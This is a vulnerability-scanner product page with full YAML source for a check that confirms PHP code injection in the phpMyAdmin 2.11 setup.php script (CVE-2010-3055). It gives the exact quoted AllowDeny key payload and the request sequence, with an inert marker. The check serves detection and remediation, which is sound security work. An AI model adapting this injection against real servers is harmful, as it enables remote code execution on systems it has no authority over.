phpMyAdmin — 1 vulnerability check
noctis ships 1 vulnerability check for phpMyAdmin, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpMyAdmin 2.11.x setup.php configuration file PHP code injection
| CVE | CVE-2010-3055 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, tcp_connect, script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpmyadmin/CVE-2010-3055.yaml |
Tests the phpMyAdmin 2.11 setup script (scripts/setup.php, releases before 2.11.10.1) for the PHP code injection into the generated configuration file (CVE-2010-3055): the script writes the keys of the server's AllowDeny array into config.inc.php without escaping them. The test opens a setup session (session cookie and token from scripts/setup.php), adds a server with a random host name whose AllowDeny array has a key containing quotes around a random marker, then downloads the generated configuration. A line in which the quotes closed the key's string literal, so that the marker is concatenated as PHP code, confirms the injection; a fixed release replaces those characters with underscores. No configuration is saved on the server: it is only downloaded and the test clears its own setup session afterwards. The web root, /phpmyadmin, /phpMyAdmin and /pma are tried.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{base}}/scripts/setup.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{base}}/scripts/setup.phpwith a crafted body - HTTP(S) request
POST {{base}}/scripts/setup.phpwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{base}}/scripts/setup.phpwith a crafted body - Checks
v.prooffor^injected$→ finding QoD 97: phpMyAdmin setup.php configuration file PHP code injection (CVE-2010-3055)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-3055
- https://www.phpmyadmin.net/security/PMASA-2010-4/
- https://github.com/phpmyadmin/phpmyadmin/compare/RELEASE_2_11_10...RELEASE_2_11_10_1
- https://www.securityfocus.com/bid/42591
Feed source — tests/vulnerabilities/phpmyadmin/CVE-2010-3055.yaml
# phpMyAdmin 2.11.x < 2.11.10.1 — scripts/setup.php configuration file PHP code injection
# (CVE-2010-3055)
#
# scripts/setup.php (phpMyAdmin 2.11 setup script) builds config.inc.php from the server
# definitions stored in the session. get_cfg_val() writes every nested array key into the
# generated PHP as "$name['$k']" without escaping it, and addserver_real stores the POSTed
# AllowDeny array as-is (grab_values "allow-deny": $res['AllowDeny']['order'] =
# $_POST['AllowDeny'] when AllowDeny_order is set). A key holding a quote therefore breaks
# out of the string literal and lands as PHP code in the configuration file the script
# downloads, displays or saves into config/config.inc.php. 2.11.10.1 added
# `$k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);` in get_cfg_val(). Checked against the
# upstream git tags RELEASE_2_11_10 and RELEASE_2_11_10_1 (github.com/phpmyadmin/phpmyadmin,
# scripts/setup.php — the only change between the two).
#
# Detection, per candidate install directory ("", /phpmyadmin, /phpMyAdmin, /pma):
# 1. GET scripts/setup.php over a raw socket: the setup page (<title>phpMyAdmin 2.x
# setup</title>), every Set-Cookie (session) and the hidden token field. The token is
# required — without it common.inc.php drops the POSTed action.
# 2. POST action=addserver_real with a random host and the key
# AllowDeny[a][b]['.'NOCTIS<rand>'.'] → "New server added" and the random host.
# 3. POST action=download → the generated config.inc.php. The vulnerable release prints
# $cfg['Servers'][$i]['AllowDeny']['order']['a']['b'][''.'NOCTIS<rand>'.''] = '1';
# i.e. our quotes closed the key literal and the concatenation is PHP code (QoD 97);
# 2.11.10.1 prints ['___NOCTIS<rand>___'].
# 4. POST action=clear to empty the session configuration again.
# No configuration is saved on the target: the injected expression is a plain string
# concatenation (valid, inert PHP), the configuration is only downloaded (never saved to
# config/), and it lives in the scanner's own session, which is cleared afterwards. (Like
# any page view, setup.php still creates its PHP session file and, when config/ is
# writable, touches an empty config/config.inc.php — its own fopen(..., 'a') check.)
#
# Better than the source check: it stopped at "Can not load or save configuration" (no
# writable config/ directory) and reported without trying, although download needs no
# config directory — this feed proves the injection there too. It also reads every
# Set-Cookie of the setup page (not only the first ones in header order), tries the usual
# install directories, uses an inert marker instead of phpinfo() and leaves no server
# behind in the session.
#
# Not detected: PHP >= 5.3 with magic_quotes_gpc on escapes the quote in the key and
# phpMyAdmin does not strip it there, so the key stays a string literal (not exploitable
# that way either). On PHP < 5.3 phpMyAdmin strips the slashes again (keys included) and
# the injection is detected.
#
# CVSS: NVD v2 7.5 (no v3.x score in NVD for CVE-2010-3055); the backlog's 7.5 is kept.
#
# Backlog source: OpenVAS/Greenbone NVT 2010/gb_phpmyadmin_42591.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100760, GPL-2.0-only).
uid: 8404a6e1-82a0-4404-bb2d-c29f3652bb88
name: "phpMyAdmin 2.11.x setup.php configuration file PHP code injection (CVE-2010-3055)"
description: |
Tests the phpMyAdmin 2.11 setup script (scripts/setup.php, releases before 2.11.10.1)
for the PHP code injection into the generated configuration file (CVE-2010-3055): the
script writes the keys of the server's AllowDeny array into config.inc.php without
escaping them. The test opens a setup session (session cookie and token from
scripts/setup.php), adds a server with a random host name whose AllowDeny array has a
key containing quotes around a random marker, then downloads the generated
configuration. A line in which the quotes closed the key's string literal, so that the
marker is concatenated as PHP code, confirms the injection; a fixed release replaces
those characters with underscores. No configuration is saved on the server: it is
only downloaded and the test clears its own setup session afterwards. The web root,
/phpmyadmin, /phpMyAdmin and /pma are tried.
cves: [CVE-2010-3055]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [phpmyadmin, php, code-injection, setup, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-3055"
- "https://www.phpmyadmin.net/security/PMASA-2010-4/"
- "https://github.com/phpmyadmin/phpmyadmin/compare/RELEASE_2_11_10...RELEASE_2_11_10_1"
- "https://www.securityfocus.com/bid/42591"
steps:
# ── Loop group: every step below runs once per candidate install directory ──
# Pre-initialise every stored result a script reads (an undefined variable aborts the
# whole test).
- id: init-page
action: set_var
var_name: page
var_value: {connected: false, banner: null}
loop:
over: ["", "/phpmyadmin", "/phpMyAdmin", "/pma"]
var: base
- id: init-add
action: set_var
var_name: add
var_value: {status: 0, body: null, headers: {}}
- id: init-dl
action: set_var
var_name: dl
var_value: {status: 0, body: null, headers: {}}
# 1. Setup page — raw request so that every Set-Cookie header is seen (http_request
# keeps only the last one).
- id: setup-page
action: tcp_connect
port: "{{port}}"
send: "GET {{base}}/scripts/setup.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
store_as: page
- id: session
action: script
code: |
let out = #{ ok: false, cookie: "", token: "", version: "", nodir: false,
marker: "", host: "", add_body: "", dl_body: "", clear_body: "" };
let raw = page.banner;
if type_of(raw) == "string" && ereg("^HTTP/1\\.[01] 200[ \\r\\n]", raw) {
let cut = stridx(raw, "\r\n\r\n");
if cut < 0 { cut = stridx(raw, "\n\n"); }
let head = if cut >= 0 { substr(raw, 0, cut) } else { raw };
let body = if cut >= 0 { substr(raw, cut, strlen(raw) - 1) } else { "" };
let t = eregmatch("<title>phpMyAdmin ([0-9][0-9A-Za-z.-]*) setup</title>", body);
let tok = eregmatch("<input type=\"hidden\" name=\"token\" value=\"([0-9A-Za-z]+)\"", body);
let jar = #{};
for line in split(head, "\n") {
let c = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", line, true);
if c.len() < 3 || c[2] == "" || c[2] == "deleted" { continue; }
jar[c[1]] = c[2];
}
for k in jar.keys() {
if out.cookie != "" { out.cookie += "; "; }
out.cookie += k + "=" + jar[k];
}
if t.len() > 1 && tok.len() > 1 && out.cookie != "" {
out.ok = true;
out.version = t[1];
out.token = tok[1];
out.nodir = ereg("Can not load or save configuration", body);
out.marker = "NOCTIS" + rand_hex(6);
out.host = "noctis-" + rand_hex(4) + ".invalid";
// AllowDeny[a][b]['.'<marker>'.']=1, urlencoded
out.add_body = "token=" + out.token + "&action=addserver_real&host=" + out.host
+ "&submit_save=Add&AllowDeny_order=1&AllowDeny%5Ba%5D%5Bb%5D%5B%27.%27"
+ out.marker + "%27.%27%5D=1";
out.dl_body = "token=" + out.token + "&action=download";
out.clear_body = "token=" + out.token + "&action=clear";
}
}
out
store_as: s
# 2. Add a server whose AllowDeny array carries the quoted key.
- id: addserver
action: http_request
method: POST
path: "{{base}}/scripts/setup.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "s.ok == true"
headers:
Cookie: "{{s.cookie}}"
Content-Type: "application/x-www-form-urlencoded"
body: "{{s.add_body}}"
store_as: add
# 3. Download the generated configuration (nothing is saved on the server).
- id: download
action: http_request
method: POST
path: "{{base}}/scripts/setup.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "s.ok == true && add.status == 200 && type_of(add.body) == \"string\" && add.body.contains(\"New server added\") && add.body.contains(s.host)"
headers:
Cookie: "{{s.cookie}}"
Content-Type: "application/x-www-form-urlencoded"
body: "{{s.dl_body}}"
store_as: dl
- id: verdict
action: script
code: |
let hit = false;
let line = "";
let b = dl.body;
if s.ok == true && dl.status == 200 && type_of(b) == "string" && b.contains(s.host) {
let needle = "['AllowDeny']['order']['a']['b'][''.'" + s.marker + "'.''] = '1';";
let at = stridx(b, needle);
if at >= 0 {
hit = true;
let m = eregmatch("\\$cfg\\['Servers'\\]\\[\\$i\\]\\['AllowDeny'\\]\\['order'\\]\\['a'\\]\\['b'\\]\\[''\\.'" + s.marker + "'\\.''\\] = '1';", b);
line = if m.len() > 0 { m[0] } else { needle };
}
}
#{ hit: hit, proof: if hit { "injected" } else { "" }, line: line,
dir: if s.nodir == true { " (the page reports no writable config/ directory, which download does not need)" } else { "" } }
store_as: v
# 4. Empty the scanner's setup session again.
- id: clear
action: http_request
method: POST
path: "{{base}}/scripts/setup.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "s.ok == true && add.status == 200"
headers:
Cookie: "{{s.cookie}}"
Content-Type: "application/x-www-form-urlencoded"
body: "{{s.clear_body}}"
store_as: clr
- id: injection-confirmed
action: match
source: v.proof
pattern: "^injected$"
condition: "v.hit == true"
on_match:
stop: true
finding:
title: "phpMyAdmin setup.php configuration file PHP code injection (CVE-2010-3055)"
confidence_delta: 0.65
qod: 97
evidence: "phpMyAdmin {{s.version}} setup script at {{base}}/scripts/setup.php{{v.dir}}: after adding server \"{{s.host}}\" with the POST key AllowDeny[a][b]['.'{{s.marker}}'.'], the downloaded config.inc.php contains: {{v.line}} — the quotes closed the key's string literal and the marker is concatenated as PHP code. The configuration was only downloaded (not saved) and the setup session was cleared afterwards."
remediation: "Upgrade phpMyAdmin to 2.11.10.1 or later (or 3.x), and remove the setup script (scripts/setup.php) and the config/ directory once the installation is configured, or restrict access to them."